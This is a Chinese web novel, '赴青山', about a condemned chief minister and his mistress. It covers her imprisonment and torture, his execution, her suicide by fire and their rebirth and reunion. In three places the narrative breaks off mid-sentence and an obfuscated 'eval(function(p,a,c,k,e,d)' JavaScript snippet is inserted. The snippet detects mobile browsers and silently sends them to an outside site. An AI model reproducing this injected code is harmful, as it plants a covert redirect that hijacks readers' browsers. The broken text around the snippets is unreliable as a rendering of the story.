《赴青山》 1. 凌迟 “你究竟什么时候才肯开口?” 时年正是寒冬,风雪连天。 裴度兴许是刚刚从外归来,面容有些苍白,狐狸色的氅衣上也沾了些细雪。一旁的狱卒见状,忙细心地递给他一个暖炉,而后从衣袖里掏出一把钥匙,将牢门打开。 裴度缓步入内,抬眼便看见了被捆绑在刑架上的那个女子。女子如瀑的青丝凌乱地披散在肩头,整张脸上满是青紫交加的伤痕,嘴角还残余着些许血渍。显然是方才被用过刑。 裴度凝着她那双被锁在镣铐里的手。她的手受过拶刑,又因一直没有医治,伤口便感染了,手背上尽是脓流和冻疮。裴度的面上浮现出几分不忍,顿时收回了目光。他的眼神飘向别处,语气里半是冷淡,半是无奈:“阿晚,你就招供了吧。” “朝廷向来不为难女子,你若是交代出江淮安贪污军饷的始末,陛下会留你一条命的。” 刑架上的女子闻言,嘴角轻轻扯了扯,眼里闪过几丝嘲讽,却仍是未置一词。 已经有半个来月了。刑部大牢虽不似诏狱般狠厉残酷,毫无人性。但到底也是轮着运用了许多刑罚,譬如笞刑、杖刑、拶刑…… 阴冷潮湿的大牢里,酷刑加身,女子也会吃痛惨叫,也会歇斯底里,然而无论怎么威逼,她始终是顾左右而言他,镇静地与刑部的官员们斡旋,不曾吐露与那人有关的半分字句。 或许是她眼底的嘲弄与面上的平静刺痛了这位年轻的刑部侍郎。裴度有些恼怒地逼近她,陡然提高了音调:“你以为你不交代,我们就无法判他的罪吗?诬陷亲蕃、打压言官、私丈田亩、罔顾礼教……这里面的哪一桩不是杀头的大罪?” “他江淮安已是罪同丘山,万死难辞其咎!即便你不肯说,明日午时他照旧要被判处凌迟之刑!” “阿晚,如今新君登基,你父亲也即将被平冤昭雪。你若不再袒护那个罪臣,自可以继续……” …… 牢狱里的寒气最是湿重。陆晚此时只觉心头发冷,耳里也是一阵轰鸣。裴度余下来还说了些什么她已经听不清了,耳中只有无边无际的“凌迟”二字。她忽然觉得身体一阵发软,不禁两眼一黑,昏倒了过去。 “阿晚——” 裴度见她倏尔昏迷,忙急着呵斥身旁的狱卒:“快去请狱医为她瞧瞧。” 裴度从刑部往返归至裴府时,正远远地瞧见在庭院里候着的宋惜颜。 宋惜颜是礼部尚书宋却山的嫡女,也是裴度的夫人。 见郎君归家,宋惜颜忙起身前去相迎。她贴心地为裴度理了理衣襟上的细雪,温声道:“郎君快随妾入里间,换过一身衣服罢,切莫着了凉。” 里间内的炉火烧得正旺,暖烟轻飘。 宋惜颜静静地为裴度解下身上的氅衣,状似无意地问道:“阿晚还是不肯招供吗?” “嗯,”裴度应了一声,而后叹了一口气:“她还是像从前那般执着,无论怎么劝,就是不肯开口。” 宋惜颜闻言,为裴度解玉带的手微微顿住。她垂着眼眸,刻意放低了声音:“妾愚拙,有些不明白。” 若在往日,裴度是并不愿同她交谈这些朝政之事的。然而今日,许是裴度因着陆晚的事情有些烦忧,又或许是宋惜颜现下太过柔顺沉静。裴度竟顺着她的话问了下去:“不明白什么?” “陛下既已定了江淮安的罪,也判了他的死刑。为何非要证实他贪污军饷这一罪状呢?” 裴度微怔。他作为刑部侍郎,年少时与那人也有些故友之谊。他又何尝不明白贪污军饷不过是个幌子,实际上是有人想要让一个替死鬼来为他们顶罪。 自新帝登基后,前任首辅江淮安的光景便每况愈下。主持了三年的建宁新政被废止,权势也尽被收回。树倒猢狲散。曾经深受江淮安掣肘的贵族们、言官们都开始对他群起攻讦,一桩桩罗列他的罪项。 朝廷正在跟东南的倭寇打仗,正是急须用钱的时候。可拨给战士的军饷只支撑了几天,便没有了。新君刚刚即位,正是需要立威望的时候。得知此事后,新君勃然大怒,下令刑部彻查此案。 拨发军饷的那道折子是先帝在位时呈上的,经过了内阁首辅江淮安的票拟。有心人便利用此称说江淮安“贪污军饷”。 新君急于展示自己的手段与声望,便命刑部搜查出贪污的那部分军饷的去向。 刑部的人在江淮安的府邸里搜差了整整一日,只搜出了一袋零星几点的碎银。谁都没有想过,这位曾经的权臣,大齐的首辅,全部的家当竟只是一袋碎银。 裴度何尝不知道这是欲加之罪。但毕竟是天子之令,他也无可奈何。江淮安双亲已逝,妻子也早已过世,没有子嗣,朋友更是稀薄。 裴度只好找到陆晚——曾经的陆家姑娘,如今的首辅外室。 让陆晚来指认这桩罪状,裴度是有私心的。他明白新君未必是想要找回余下的军饷,不过是想走个流程,用一份完整的证据来树立自己的威望。 本朝刑律规定,待罪之人若敢于揭举幕后指使之人,可从轻处置。江淮安被判凌迟,陆晚作为他的外室,自然免不了一死。若能揭举他的罪名,兴许可免死罪。 然而,裴度终究是未料到,她对他竟情深至此…… “郎君?” 宋惜颜见裴度迟迟未应答,不禁抬眸看向他。 她宋惜颜的郎君,相貌自然是顶好的,姿容如玉,皎若明月。她倾心于他的孤傲与才学,却又时常为他的冷淡所伤怀。 譬若现下,他立在她的身前,面色依旧冷淡如霜,目光飘于别处,一分眼神都没有分给她。 “这是朝中之事,你无需知晓过多。” 裴度回过神来,并没有对宋惜颜细道其中缘由,只简短回了几个字。 陆晚醒来,已经是次日的午时了。她做了一场很长的梦。 梦境错综复杂,场景时不时地转换。一时是在贡院外的朱墙前,她满怀希冀地在贴于墙上的榜单中寻找他的名字;一时是在松山书院的明堂里,她身着男装,强作镇定地抬头看他,却恰好撞入他温润澄净的眸子里;一时是在教坊司昏暗的厢房里,她风情万种地依偎在豫王的怀里,听着他在房外受鞭笞之刑…… 梦里的最后一个场景是在京郊南角的那处私宅外,他温柔地为她系上披风,目送她走上马车。 她却迟迟没有抬步,只是死死拽住他右袖的衣角,问:“我们还能胜天半子吗?” 他笑了笑,轻轻地从她手中抽出自己的袖袍,语气依旧温和如春水: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362438|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不知道。” “我走了,那你呢?” 她不死心地问道。 “我既以身入局,便要把这盘棋下完。” 他转过身子,隐没在了黑暗之中。 不要—— 陆晚想喊住他,却怎么也张不开口。 “陆姑娘,醒醒。” 陆晚自梦中醒来,额心上尽是些虚汗。她睁眼见正躺在牢狱禁房里的床上,面前站着的是往常为她更换囚衣的女狱卒。 因为陆晚常常受刑,囚衣总是染满鲜血。她经受酷刑,自是没有力气更换衣服。于是裴度便派了名女狱卒来为她清洗身子,穿换衣服。 女狱卒叫春蝉,是一位差役的女儿。 “陆姑娘,喝口水吧。” 陆晚刚醒,嘴唇也有些干裂。她正要就着春蝉递过来的杯盏喝下一口热水,却忽觉心头如刀绞般疼痛难受。 这种疼痛不同于平日里受刑她所感受到的疼痛。她无法言说这种痛苦,只觉浑身发冷,身体忍不住颤抖。她几乎无法呼吸,只是环住自己的双膝,咬牙忍受着。 “陆姑娘,你怎么了,可是身体不适?” 春蝉见状,忙放下手中的杯盏,起身轻轻用手安抚陆晚的脊背,似在宽慰她:“陆姑娘,你且再忍着些时日。新君即位,几天后便将举行封后大典,到时自会大赦天下。” 陆晚并不在乎这些。她仍然心痛难忍,甚至莫名地感到一阵恐慌。似是蓦地想起了什么,陆晚猛然拽住春蝉的手腕,看着春蝉的眼睛道:“现在是不是已经午时了?” 春蝉垂下眼睫,几不可闻地点了点头。 陆晚心底一阵钝痛。她根本不敢想象那人的现状。 凌迟之刑,千刀万剐。 手上的刑伤还未痊愈,陆晚却丝毫不顾疼痛,她紧紧攥着面前人的手,近乎哀求般地开口道:“你有钥匙,对吗?” 春蝉别开了眼睛,平静道:“陆姑娘,没有恩准,我是不会私自放你出去的。” “为什么,我只是想去见见他……” 我只是想去见见他呀。 陆晚此刻只觉满心作痛,声音再也压不住,泪水一瞬间决堤。很多种情绪笼罩了她。恐惧,绝望,痛苦,后悔…… 整整一个下午,她一直枯坐在禁房里。起先是不停流泪。泪水干涸后,她便是静静地坐着,不说话,也不理会身旁春蝉的劝慰,连狱卒送来的饭食也是一口未动。 裴度再见到陆晚,已经是晚上了。 他方从西市监刑回来,便听春蝉说她整日枯坐,不进饭食,连忙赶到了禁房。 “阿晚” 裴度看着她削瘦的面容,心下一时有些愧疚。本不指望她能应答,却见她平静与自己相视,缓慢开口道:“裴大人,我愿意供认。” “你说什么?” 裴度一时不敢相信自己的耳朵,启口时声线都暗哑了些许。 “我愿意指认江淮安挪用军饷。” 裴度僵在了原地。他一动不动地望着面前的女子,似是想在她眼里瞧出些什么。 可终究是无果。那双漆黑的眸子里什么都没有,竟连悲伤都未能剩下,只余平静。 这样的平静让他不由得想起了另外一个人。 2. 纵火 景明元年冰月十四,冬斩日。 这一日的风雪似是比往常都要大上许多。北风横扫,飞雪茫茫。 饶是裴度端坐于帷帐内,仍避不了风雪沾衣,寒意灌袖。 裴度轻轻搓了搓冻红的双手,清了清嗓子,便开口交代监刑的事宜。 一切交代完毕后,帐帘自外掀起,那人便这么被带了进来。 “江淮安,”裴度克制地将自己的视线投向帐帘外的木桩上,正声道:“按律候刑示众,你不得开口。若开口,立即去舌。” “我明白。” 裴度一怔。他起身逼近几步,微微倾身,目光几乎与跪着的那人齐平:“你还有什么想说的吗?” 那人抬起头来,只无声地吐出了两个字。 裴度知道那两个字指的是什么,又问:“你自己呢?” 那人无声地摇头,神情如秋水般平淡冲和,无悲无喜。 裴度了然,而后向一旁的差役颔首:“带他出去罢。” 裴度深谙刑律,也曾监刑数次,无外乎是腰斩,车裂这样的刑罚。 但他从未亲眼目睹过凌迟之刑。犹记少年时,他曾读过前朝文人的一本杂文集,里面曾有一句话这样形容这道残酷的刑罚——“凌迟者,先断其肢体,乃绝其吭,当时之极法也。” 断其肢体,乃绝其吭。 裴度在心底默念着这八个字,忽然感到一阵恶寒。他强抑住心头的不适,目光直直凝向被悬挂在木桩上的那人。 当手中的记时香燃尽后,江淮安正在被人去下囚衣,刑台两侧的刽子手也已执好刀刃,静待令发。 “时辰到,行刑。” 裴度蓦然不敢再看,他无措地将目光安放在别处,袖中的双手也不自知地攥成了一个拳头。 整整三个时辰。那人一声未吭,裴度一眼未曾望向帐外。 “我只有一个条件。” 面前女子乍时启口,打断了裴度的思绪。 “招供前,我想再回梅居看一眼。” 裴度稍怔。梅居是江淮安任首辅时在京郊南角购置的一处私宅,用来给身为外室的陆晚居住。 他沉默良久,喉咙滚了几圈,才堪堪应了一个“好”字。 梅居,即有梅之居。 庭院里开满了梅花,红白交错,暗香浮动。 他一生清淡简朴,不汲汲求于功名,对女色也不甚上心,唯钟爱书道与梅花。 私宅是落户在陆晚的名字上,因而并未被查封。 依旧是熟悉的院落,只可惜旧主已去,整座梅居空旷寂寥,没有一丝活人气息。 陆晚走得很慢,时不时会驻足片刻。她一步步踩过青石板上的层层积雪,终于来到了她满心所念的地方。 房门未锁,她缓步入内,目光掠过室内已经积了满尘灰的那张桌岸。 虽生尘灰,桌岸上摆放的书册与临帖却是工工整整,丝毫不见凌乱。 陆晚透过那些书卷,想起来,也是那日。她坐上了马车,明明已经出了宫城,却偏偏命何令调头,策马赶回了梅居。 那时还是三更天,天际的尽头是无边的黑暗。 她仓皇推开还亮着烛火的房门,一眼便望见了他。 昏黄的灯光映衬出他温润的眉眼。他就坐在灯火下,提笔写字,神色平静如水。 可是那一句颤抖的“你怎么回来了”,还是出卖了他此刻的慌乱与恐惧。 陆晚一把扯过他铺展于案上的宣纸,迎目只见八字——“不悔新政,唯愧阿晚”。 她终于忍不住埋在他怀里纵声大哭。 她知道,明日辰时,刑部的人就会把他带走;她明白,这一次,她和他都无法胜天半子,难逃死局。 但是那又如何呢? 自从决定调头回来那刻开始,或许更久远,自梅园初见之时起,她便认定了他,回不了头了。 陆晚笑笑,低声对一旁跟着的春蝉说道,语气温柔得不像话:“春蝉,你能帮我将床前的方角柜打开吗?柜里有半截花烛,烦请你帮我点上。” 她手戴镣铐,行动不便,且话语平宁。春蝉不忍拒绝,便依言从柜里取出那半截花烛,打火将其点亮。 “我与淮安一生多舛,常难遂所愿。淮安将我从豫王府接回梅居那天,专门自市集里买了一对花烛。” “花烛之夜,我们结发,拜了天地。梅居生活的那段时日,是我漫漫余生里过得最欢愉也最安宁的一段时光。” 春蝉轻愣。她出生于差役之家,身份寒微。在她尚且还为一盒脂粉委屈心酸,为身上的粗布衣服难堪羞窘之时,她就已经听说过陆家姑娘的盛名。 陆家姑娘,首辅千金,单名一个晚字。燕京的百姓都传,她容貌无双,才情绝世,引得无数王公贵族,年轻学子为她倾心折腰。期间,她与建宁十二年的新科状元江淮安于西郊梅园一见钟情之事,更是被众人奉作佳话,笑为美谈。 后来春蝉嫁了人,那人也是衙门差役之子。婚后的日子称不上恩爱,也道不上疏离。无关风花雪月,只余柴米油盐。她再次想到了那位陆家姑娘。 那时已是建宁十五年了。不过三年,陆父去世,陆家没落。聪慧貌美的陆家姑娘充入了教坊司,成为了权贵的玩物。才冠燕京的新科状元也于诏狱受刑,不得重用。 后来又过了几年,陆家姑娘被豫王带回了王府。新科状元忽然向继任的苏首辅下跪,求娶他家女公子。自此,状元郎青云直上,官路畅通,也入了内阁,坐上了首辅之位。 再后来,皇帝病重,豫王离奇暴毙,苏首辅被赐鸩酒,状元郎的妻子也因病去世。陆家姑娘突然成为了状元郎的外室。 日月流转,世事万变,春蝉慢慢从人妻变为母亲,对她曾羡慕过的那对璧人也不甚关心。只是她也没想过会在狱中再见到那位陆家姑娘。 春蝉回过神来,听着眼前的女子平淡地诉说她那些过往,忽然也不知该作何动作,作何言语。 她静立一旁良久,方听得女子骤然转了话题。温暖明亮的烛火之中,她的笑容和煦得让人有些恍惚。 她说:“春蝉,你可以出去等我一刻钟吗?我想一个人静一下。” 春蝉咬牙,面露难色:“裴大人命我跟着姑娘。” 陆晚也并不失望,只将锁在镣铐里的双手摆在春蝉的面前,淡淡笑道:“我的双手都被锁住了,且手上又有伤,做不了什么事。况且裴大人正带着人在前门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362439|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边候着,我自然逃脱不了。” 她又道:“这是我和他之间的故事。我想一个人待在这间居室里,再送他一程。待花烛燃尽之时,我自会出来。” 她理由充分,言辞恳切,春蝉亦奈何不得,只好起身退下。 陆晚听见房门被轻轻阖上,终于松了一口气。 她平静地向案台上的半截花烛走近,试探性地将手触及案台,待终于触碰到案台上那一层层松软的油脂时,她方才露出了笑容。 陆晚耐着手心上传来的疼痛,艰难地将蜡烛翻倒在案。 蜡烛碰油脂,一触即燃。不过顷刻,室内便燃起了熊熊烈火。 在前门候着的裴度等待多时,却始终不见人出。焦灼难耐之际,忽见内院升起一阵烟雾。裴度心口一紧,忙疾步跨过门槛,奔向内院,映入眼帘的却是通天的火焰以及春蝉眼角的泪痕。 “大人,陆姑娘说想自己一个人静静地待一刻钟,奴婢想着她手上染伤,且又被镣铐锁住,动弹不得,这才退出的……” 裴度没有时间听她解释。他心下无比慌乱,目之所及皆是已经着了火的木门与窗棂。 “快去救火!” 这句陡然提高的音调让一旁的差役们都吓得丢了魂魄。 “怎么救啊……” 火光一下子冲了出来,那股烫人的热浪逼得众人都退了几步。火势越来越大,门框都砸了下来。 裴度欲侧身入内,却被身后的差役一把扯住衣角。 “裴大人,进不得啊,这火实在是太大了……” “松手” 裴度呵斥道,脚步却僵在了原地。那一瞬间,他仿佛又回到了建宁十五年的那个秋日。 他策马扬鞭,奔向教坊司,却在临近终点时被父亲的人拦住。回家后,父亲用家法惩戒他,罚他跪祠堂,背过身对着列祖列宗的画像,问他:“若是让你在她和你的前途之间做个选择,你会怎么选?” 聪明如他,无情亦如他,跪了一夜后,他舍了佳人,求了功名。 思及此,裴度眼眶渐红,他不甘心地朝室里的那人大声问道:“陆晚,你就这么爱他吗?若是当年,我快他一步赶到教坊司,我在豫王面前受辱,你会不会……” 最后那三个字的尾音渐渐压低,隐没在了风里: “爱上我?” 陆晚平淡地看着逐渐逼近她的烈火,心底无比安宁。当大火即刻将她的身影吞没之时,陆晚唇角轻扬,慢慢绽放出一个温和纯粹的笑容: “江淮安,我来找你了。” “对不起啊,让你为我受了这么多罪。” “下辈子,咱们彼此等一等,你一定要等我,我一定会找到你的。” 后记。 江淮安,建宁时期的第三位首辅,延续第一任首辅开展的赋税变革,并有所创新,将赋税折银计算,同时实施整顿吏治、加固边防等一系列措施,史称“建宁新政”。其人一生毁誉参半,因打压言官、贪污军饷、排除异己等事件备受争议。 其人为了与外室陆晚的私情,不惜谋害岳父,算计发妻,可谓卑鄙无耻至极。景明元年,因数项罪名被凌迟处死。外室陆晚得知此讯后,于京郊梅居纵火殉情。 3. 梅园 “公子,您还好吧?” 侍从何令战战兢兢地看着自家这位在一盆清水面前站了整整一个时辰的公子,心里疑窦丛生,半是迷惑,半是害怕道:“公子,您是不是不舒服,我这就去给您请大夫。” 听了这话,一直默立的江淮安才终于抬眼,哑声回了句“不必”。 从前种种,譬如昨日死;从后种种,譬如今日生。 江淮安面对着那盆清水,凝望着将近二十岁的自己,一时竟分辨不出何为昨日,何为今日。 难以置信的同时,是庆幸和感激。苍天何厚于他,竟开恩赠他一个梦寐以求的来生。 当年教坊司中,他于房外受人鞭笞,听得房内阿晚受人凌辱。他如困兽般嘶吼,求那人放过他的阿晚,却只换来更重的鞭刑。绝境之下,他自心中万般哀求诸佛众神,恳求他们许他与阿晚一个来生。 重活一世,他定要强大自身,护好阿晚,必不能重蹈前世的覆辙。 江淮安理了下思绪,回过头来问何令:“现在是什么时辰了?” “巳时了” 江淮安眉心轻动。他清清楚楚地记得,建宁十二年初春,申时,西郊的梅园里,他与阿晚初次相见。 思及此,江淮安忙清了把脸,仔细检查了一下自己的穿着和仪表。他是江陵籍贯,父母早逝,一直由嫂嫂抚养长大。嫂嫂早年丧夫,一直省吃俭用,吃苦耐劳,尽心抚养家中的两个孩子。嫂嫂视江淮安如亲子,为了给江淮安准备进京赶考的盘缠,把家里唯一的一头公牛给卖了。 但好在江淮安天资聪颖,且勤奋好学,并没有辜负嫂嫂的期待。他在春闱中一举夺魁,不日即将参加殿试。 今日本有阁臣邀他赴宴,他却无意于此,只听说西郊的梅花开得极好,一时生念,便去了梅林。也就是在那里,他遇见了阿晚。 江淮安细细抚平淡青衣袍上的褶皱,满意地点了点头。淡青长衫,虽是清贫了点,但只要得体整洁,不会冒犯了阿晚便好。 整理好一切后,江淮安方才偏过头,对何令吩咐道:“难得刚刚春试完毕,不如今日去西郊赏梅如何?” 何令见自家公子不再对着那盆清水发呆,悬着的心终于放下,忙高兴地应了声“好嘞”,快步跟上了眼前人的步伐。 江淮安走出庭院,双手拢袖,抬头望了眼天际。恰逢新雪初霁,天色明朗如青瓷,惠风和畅,流云漫卷。岑峦起伏的青山远远地隐于云雾之间,周身积雪未融,秀美至极。 江山如此多娇,人生如此美好。 一切都来得及。陆首辅尚且在世,陆家并未没落,阿晚未受凌辱,他也未曾下跪……他如今虚岁二十,尚是弱冠之年;阿晚也不过十六岁这样的年纪,正值豆蔻年华。他们会在最美的年华里相遇,一起执手看过万好河山,不再忍受别离之苦…… 西郊的梅花果然名不虚传。 还未进园,便已闻得一阵淡淡的花香。江淮安举目四望,目之所及皆是梅花。浅粉、朱砂、素白的梅树交错而立,在地上投下斑驳的影。梅树枝头红梅灼灼,花瓣上还沾着些初春的细雪。 明明已经是重活一世的人了,江淮安还是忍不住心潮澎湃。他略微抬手,折起几枝红梅,而后便按照记忆里的路线,来到了初见之时的那间凉亭。 他心绪起伏,向来内敛寡淡的面容中罕见地多了几分希冀之色,连步履都加快了不少。侍从何令虽对他今日异常的举止深感奇怪,却也还是提步跟了过去。 行至中途,却见身前人骤然止步。何令诧异,顺着自家公子的目光望去,映入眼帘的只是一间凉亭,亭中还立着两位姑娘。 江淮安定在原地。怎么会呢?他明明白白地记得,上辈子,是他先在凉亭煮茶,被阿晚看见,而后他二人才相坐饮茶,默契对谈,一见如故的。 可如今……一种令他无比怀疑又无比欣喜的猜测莫名涌上心头。 江淮安直直地望着亭中那位身系浅白色披风的女子。她戴着面纱,侧身静立,目光飘向远处,似是在赏梅。 恰时风起,花瓣簌簌飘落,点缀在女子的云鬓间。 江淮安突然有股冲动,他屏住了呼吸,正欲向她走近,却见她蓦然转身,与他四目相对。 仅一瞬之间,四周的空气忽而静止。他望入她的眼里,看到了太多的情绪。诧异、思念、欣喜……数十种情绪一齐出现在她那双清亮的眼眸里,江淮安不由心惊,这绝非十六岁的阿晚该流露的神色。 这样一种猜想令他浑身战栗,喉咙发紧,薄唇轻颤,几乎说不出话来。 “是你吗?” 她的面纱早已被春风撩开,露出她那精美如画的五官。她一步步向他走来,惯来平和的声音里带着几分不确定。 “是我。” 隔了良久过后,江淮安才缓过神来,笑着朝她点了点头。 陆晚也笑了,神色由最初的犹疑不定变为莫名欣喜。笑着笑着,她的眼眶就红了,眼底有泪涌出。随侍的婢女见主人对着一名陌生男子落泪,一时有些慌乱,忙递上一张手帕:“小姐,怎么了?” 陆晚摇摇头,接过帕子,将眼角的泪痕擦拭干净后,方笑着对身侧的婢女解释道:“风大迷眼,眼角酸涩,一时有些忍不住,便落了泪。” 而后她如记忆里那般,微微欠了欠身,问:“公子也是来赏梅的吗?” 江淮安亦回以一礼,笑道:“听闻西郊的梅花冠绝燕京,江某便也想着来一饱眼福。” 这是初见时他们开口说得第一句话。 来世相逢,失而复得。一如前世那般,陆晚看着江淮安步入凉亭,将带来的茶具一一在桌岸上铺展开来。他的指尖轻扣紫砂壶盖,壶身松纹隐现,茶香未沸,寒气已凝成白雾,散入空中。 每一个动作,每一个眼神,每一处细节都让陆晚刻骨铭心。她莞尔,轻声对着身侧的侍女道:“紫苏,你先出去罢,我与这位公子有事商议。” 婢女知道近些时日自家姑娘举止有些反常,只当是她风寒尚未痊愈,便不作多想地退了出去。 江淮安亦谴退了随侍何令。 待亭中只余二人时,江淮安提着壶盖的手微微顿下,他抬眼,温柔的眸子间思念流转,低低唤了一声:“阿晚。” 陆晚鼻子一酸,伸手触碰近在咫尺之人的面孔。那人似是察觉到了,轻轻往前凑了几步,配合着,碰到她的手。她的手指有些发颤,却还是克制而又温柔地从他的眉眼滑过鼻梁,如在对待一件珍宝。 良久,她才堪堪收回手,轻轻吸了一口气,平静地压下心底如潮水般汹涌而来的念想,开口道:“真的是你。我真的害怕……这只是一场梦。” “淮安,再活一世,我一定不能再让父亲和你重走从前的老路。我宁愿你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362440|183750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是普通布衣,也不希望你们为了新政得罪那些权贵……”她虽尽量保持镇静,可过往的那些噩梦依旧让她心神慌乱,有些口不择言。 “不会的。阿晚,这一次我一定会护住你,”江淮安伸手将陆晚的手扣在掌心,语气温和又笃定:“新政是令尊的理想,也是我的心之所向,更关乎天下万民的生计。即便重来,我依旧会坚定地把新政推行下来。” 掌心的温度让陆晚感觉安宁,她冷静下来,开始条理清晰地分析当今的局势:“现下是建宁十二年初春,父亲推行赋税变革的第四个年头。父亲还未患病,仍就任内阁首辅。辅臣苏文渊,豫王刘子陵这些人都还没有动静。” “唯一的变数就是龙椅上坐着的那人。”陆晚话音渐没,想到她父亲前世的结局与龙椅上那人脱不了干系,心里又是一阵发寒。 她的父亲,内阁首辅陆正,生性古板严厉,却唯独对她这个女儿甚是宽容。建宁帝十岁登基,资历尚浅,无力掌控前朝。李太后便聘用首辅陆正为帝师,倾心教导小皇帝。陆正为官恪敬职守,常常宿在内阁值房处理政事;为师亦是中正不阿,虽偶对小皇帝疾言厉色,但到底是忠心耿耿,言辞恳切。 陆晚前世一直以为这位小皇帝对她的父亲虽有畏惧,但也是尊重有加的。父亲弥留之际,建宁帝甚至握着他的手,泫然欲泣:“先生功大,朕无以为酬,唯看顾先生的子孙罢了。” 但也是这位说着要看顾陆家的年轻皇帝,在陆正死后的第三日,便下令抄了陆家,将陆家女眷全部充入教坊司,男丁刺字流放。陆正唯一的儿子,陆谦也被北镇抚司的人带进诏狱,受尽酷刑而死。 “淮安,你知道我父亲的脾性,他性格刻板固执,对当今陛下更是倾囊相授,忠诚相待。作为首辅,他推行新法,以雷霆手段镇压弹劾的言官和贵族。我不知道该怎么劝他揣摩人心……” 前尘往事一帧帧闪过脑海,陆晚还是有些惧怕。 “放心,”江淮安稍稍握紧了她的手,轻声宽慰道:“我会想办法的。这几日,我思来想去,做了一个决定。” 他陡然压低了声音,温润的眉眼间闪过几分冷冽:“我要入北镇抚司,掌管诏狱。” “诏狱?” 陆晚一听这两个字,额心便渗出几分冷汗:“北镇抚司的人皆为酷吏,诏狱又是陛下动用私刑的地方。你是儒生,济世救民是你的理想,怎么能去那样的地方?” 江淮安笑笑,松开面前女子的手,直起身来,向陆晚走近。他在离她几米之远的地方驻足,微微倾身,拿出袖中的手帕,将她额中的汗滴细细擦净,声音平和:“世间之大,唯皇权独尊。北镇抚司位卑权重,有缉捕、监视、刑讯、审判之权。唯有取得陛下信任,手揽重权,我方能正确揣摩君心,斡旋于各色人等的利益斗争之中,更好地护好你。” “可伴君如伴虎,自古君心难测,更何况他实非明君……” “晤——” 陆晚还想说些什么,却被他以吻封缄。他一手扶着她的后脑,一手遮住她的双眼,安静地吻着她,温柔又缱倦。 陆晚的耳根子又红了,前世里每次这种时候,她的脸颊都会发烫,不知道怎么回应。陆晚几乎要溺死在他的深吻里,周身都是他那熟悉的,独有的,清淡的气息。 许久,他才放开她,俯在她耳畔,低低落下四字:“阿晚,信我。” 4. 不悔 暮色四合,金乌将坠,淡月新升。陆府上下的灯火也一盏接一盏地从回廊深处亮起。晚风卷着廊下灯盏的暖光拂过檐角的铜铃,轻碎作响。 陆晚此时刚自梅园归府,脸颊深处还残留着几分红晕,在温暖的灯光下更为醒目。她稍稍宁了宁心绪,强抑住心头的悸动,抬步朝着院落东面的那间书房走去。 书房的门半敞着,陆晚自外面的不远处站着,隐隐可以听见房内传来的争吵声。 “你是要气死我吗?你看看你春闱写的文章,什么《侠客论》,这是经世利民的文章吗?” “我苦心栽培你,你倒好,非要去做什么侠客……” “天下的路又不止一条,为何非要读书入仕呢?我就想仗剑天涯,一生逍遥自在,那该多好……” “你给我住口!” 陆晚听得这声急呵后,暗道不妙,忙快步走进书房。果不其然,和前世里的场景一模一样,她的父亲正在为着兄长于春闱中胡乱作文一事生气,眉头紧蹙,眼底的失望之色溢于言表。 而她的兄长陆谦,虽跪在地上,却还是一副不识时务的模样:“父亲,你有你的抱负,我自然也有我的理想。我心胸狭隘,虽读了几本圣贤书,但到底只是个凡夫俗子。我就想快意江湖,难道就这么不可行吗?” “孽障!”陆正一时没有注意到陆晚进房,对着自己这个不争气的儿子,简直是怒上心头,扬起手中的书卷正要丢在他的身上,却被一只纤白的细手给拦了下来。 陆正诧异地偏过头,只见自己的女儿对着他温然一笑:“父亲莫要生气,兄长年岁尚轻,贪玩了些,也是正常的。” 陆正平素最喜欢自家这个女儿,听了此话后,神色也渐渐和缓了些许,只是语气依旧严厉:“他今年已是弱冠之龄了,还和三岁小儿一样不知天高地厚,整日只知做着他的那些少侠梦。” “你啊你,”陆正指着陆谦,长叹了一口气。而后背过身去,不自知地在青石板上来回踱步,似是有些发愁。 半晌,他才转身,沉声道:“辅臣苏文渊曾是我的门生,今年春试他也是主考官之一。你春试既然落选,我便舍了我这张老脸,到他那儿走点门道,让他向朝廷荐举你。” 单是听到苏文渊这个名字,就让陆晚出了一层薄汗。苏文渊,康定三十年的进士,后任吏部尚书、徐州知州等职。苏文渊与陆正年岁相近,但其仕途坎坷,三十多岁才中了个举人,不惑之年进士及第。后又因直言上谏被贬至岭南一带。他四十二岁的时候,建宁帝登基,被召回中央,成了内阁首辅陆正的门生。不满一年,便被陆正引荐入阁,如今已是内阁次辅。 若照这样说来,陆正是苏文渊的伯乐,他们二人合该惺惺相惜,志同道合。陆晚前世也一直这样认为,毕竟陆正在世时,苏文渊于她而言就是个温和慈祥的老伯伯。但是陆正去世后,弹劾陆正的那些奏疏便是苏文渊呈上的。他甚至亲自罗列了陆正的数项罪名,其中有一项便是称陆正滥用私权,胁迫他为其子谋得官位。 